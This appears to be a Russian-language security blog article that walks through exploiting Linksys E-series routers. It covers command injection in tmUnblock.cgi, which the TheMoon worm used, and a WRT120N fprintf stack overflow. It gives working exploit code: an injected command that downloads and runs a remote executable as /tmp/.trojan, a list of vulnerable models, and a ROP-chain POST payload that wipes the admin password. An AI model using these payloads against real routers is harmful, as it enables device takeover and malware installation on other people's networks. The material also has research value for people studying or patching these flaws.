Взлом роутеров Linksys E-серии

Данная уязвимость была обнаружена после анализа червя по имени TheMoon. Название он получил из-за изображений из фильма The Moon, которые хранились в бинарнике. Но вернемся к багам.

Многочисленные роутеры фирмы Linksys Е-серии содержат ошибку в скрипте tmUnblock.cgi(в некоторых случаях и в hndUnblock.cgi), которая происходит из-за недостаточно тщательной обработки входящего параметра ttcp_ip POST-запроса, что позволяет выполнить произвольную команду на устройстве.

EXPLOIT

В открытый доступ выложено несколько эксплойтов:

Разберем Python-версию. Ничего сложного в эксплуатации нет. В качестве атакующей команды берем загрузку исполняемого файла с доступного сервера, адрес которого указываем в переменной wget_url:

cmd = "wget %s -O /tmp/.trojan;chmod 777 /tmp/.trojan;/tmp/.trojan" %(wget_url)

 

Далее составляем запрос, куда мы и впишем нашу команду:

# Здесь указываем адрес или в 99% случаев IP типа 192.168.1.1 url = target + "/tmUnblock.cgi" # Уязвимый параметр имеет особую структуру, которую нам надо учесть injection = "-h `%s`" %(command) the_ownage = {'submit_button': '', 'change_action': '', 'action': '', 'commit': '0', 'ttcp_num': '2', 'ttcp_size': '2', # Уязвимый параметр 'ttcp_ip': injection, 'StartEPI': '1'}

Вот и весь запрос.

TARGETS

  • Linksys E4200;
  • Linksys E3200;
  • Linksys E3000;
  • Linksys E2500;
  • Linksys E2100L;
  • Linksys E2000;
  • Linksys E1550;
  • Linksys E1500;
  • Linksys E1200;
  • Linksys E1000;
  • Linksys E900;
  • Linksys E300;
  • Linksys WAG320N;
  • Linksys WAP300N;
  • Linksys WAP610N;
  • Linksys WES610N;
  • Linksys WET610N;
  • Linksys WRT610N;
  • Linksys WRT600N;
  • Linksys WRT400N;
  • Linksys WRT320N;
  • Linksys WRT160N;
  • Linksys WRT150N.

Номера моделей были вытащены из червя, поэтому не исключено, что уязвимость работает и на других моделях.

Переполнение стека fprintf в WRT120N

В модели WRT120N применена операционная система реального времени. Также весь веб-интерфейс в целях безопасности использует HTTP-авторизацию. Большинство страниц ее и требует, но есть небольшой список, который доступен без авторизации. Его можно найти, загрузив бинарный файл прошивки в дизассемблер (см. скриншоты).

Загружаем файл со списком доступных файлов в WRT120N

Полный список доступных файлов в WRT120N

Как пишет автор уязвимости, часть файлов в этом списке не представляла ничего впечатляющего. Тем не менее был найден интересный файл /cgi/tmUnBlock.cgi, в котором обрабатывались данные от пользователя (код обработки представлен на скриншоте).

Код обработки в скрипте tmUnBlock.cgi

Нас интересует строка

fprintf(request->socket, "Location %snn", GetWebParam(cgi_handle, "TM_Block_URL"));

Хоть уязвимым параметром и является POST-переменная TM_Block_URL, но ошибка находится в реализации функции fprintf. И если ты посмотришь на ее код, то очень удивишься :).

Реализация функции fprintf

Эта функция использует только 256 байт. Это означает, что полученный от пользователя параметр TMBLOCKURL переполнит буфер, если его размер будет больше, чем 246 (sizeof(buf) – strlen(“Location: “)) байт.

Отправим тестовый запрос и посмотрим значения регистров на скриншоте:

$ wget --post-data="period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print "A"x254')" http://192.168.1.1/cgi-bin/tmUnBlock.cgi

 

Значения регистров после переполнения буфера в WRT120N

От самого простого эксплойта требуется переписать часть важных данных в памяти, например пароль администратора устройства, который хранится по адресу 0x81544AF0.

Адрес, по которому находится пароль администратора устройства WRT120N

Пароль представлен как обычная строка, оканчивающаяся NULL-байтом, поэтому если мы запишем нулевой байт в начало этого адреса, то сможем авторизоваться на устройстве с пустым паролем. Нужно лишь сделать так, чтобы после всех наших действий система продолжила работать :).

Рассмотрим конец функции fprintf. Оба регистра $ra и $s0 восстанавливаются из стека — это означает, что мы можем их контролировать, когда переполним стек.

Конец функции fprintf

Далее был найден интересный участок кода по адресу 0x8031F634, что сохраняет четыре нулевых байта из регистра $zero в адрес, который хранится в регистре $s0:

Первая ROP-цепочка для эксплойта в WRT120N

Если мы используем переполнения fpritnf, чтобы вернуться к 0x8031F634 и переписать $s0 с адресом пароля администратора (0x81544AF0), тогда алгоритм работы кода получится таким:

  • обнуляем пароль администратора;
  • возвращаем адрес возврата, сохраненный в стеке (мы контролируем стек);
  • добавляем 16 в указатель стека.

Последний пункт и вызывает проблему. Нам нужно, чтобы система продолжила работать нормально и не «упала», но если мы просто вернемся к функции cgi_tmUnBlock, как ожидают от fprintf, то наш указатель стека будет отличаться на 16 байт. Но поиск подходящей ROP-цепочки, которая уменьшит указатель на стека на 16 байт, мог бы затянуться, поэтому было предложено иное решение.

Если присмотреться к адресу в cgi_tmUnblock, куда fprintf должна вернуться, ты сможешь увидеть, что все делается для восстановления $ra, $s1 и $s0 из стека, затем возвращается, и к указателю стека добавляется 0x60:

Конец функции cgi_tmUnblock

Мы уже добавили 0x10 к указателю стека, поэтому можем найти вторую ROP-цепочку для восстановления соответствующих сохраненных значений для $ra, $s1 и $s0 из стека и добавить 0x50 к указателю стека, то есть такую, которая эффективно заменит концовку функции cgi_tmUnblock.

Был найден не совсем точно подходящий под наши нужды участок кода по адресу 0x803471B8.

Вторая ROP-цепочка для эксплойта в WRT120N

Эта цепочка добавляет только 0x10 к указателю стека, но это не проблема. Мы создаем несколько дополнительных кадров стека, который возвращается на себя пять раз. На пятой итерации оригинальные значения нужных регистров будут закинуты в стек и наша ROP-цепочка вернется к вызову из cgi_tmUnblock.

Ниже вы можете видеть визуально как происходит переполнение буфера:

ROP stack frames and relevant registers

EXPLOIT

В качестве эксплойта опять будем использовать Python-скрип, который отправит POST-запрос со следующим содержимым:

url = target + '/cgi-bin/tmUnblock.cgi' # Путь к атакуемому устройству ... post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=" # Заполняем post_data += "B" * 246 # $s0, адрес пароля админа в памяти post_data += "x81x54x4AxF0" # $ra post_data += "x80x31xF6x34" # Заполняем стек post_data += "C" * 0x28 # ROP 1 $s0 post_data += "D" * 4 # ROP 1 $ra (адрес для ROP 2) post_data += "x80x34x71xB8" # Заполняем стек post_data += "E" * 8 for i in range(0, 4): # ROP 2 $s0 post_data += "F" * 4 # ROP 2 $s1 post_data += "G" * 4 # ROP 2 $ra (адрес "себя") post_data += "x80x34x71xB8" # Заполняем стек. Нужно 4 байта для последнего кадра, чтобы замкнуть запрос символами "nn" и нулевым байтом post_data += "H" * (4-(3*(i/3)))

Исходник эксплойта ты также сможешь найти на сайте автора.

Также о взломе роутеров вы можете почитать на нашем сайте по ссылке

Click to rate this post!
[Total: 3 Average: 3.3]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

1 comments On Взлом роутеров Linksys E-серии

Leave a reply:

Your email address will not be published.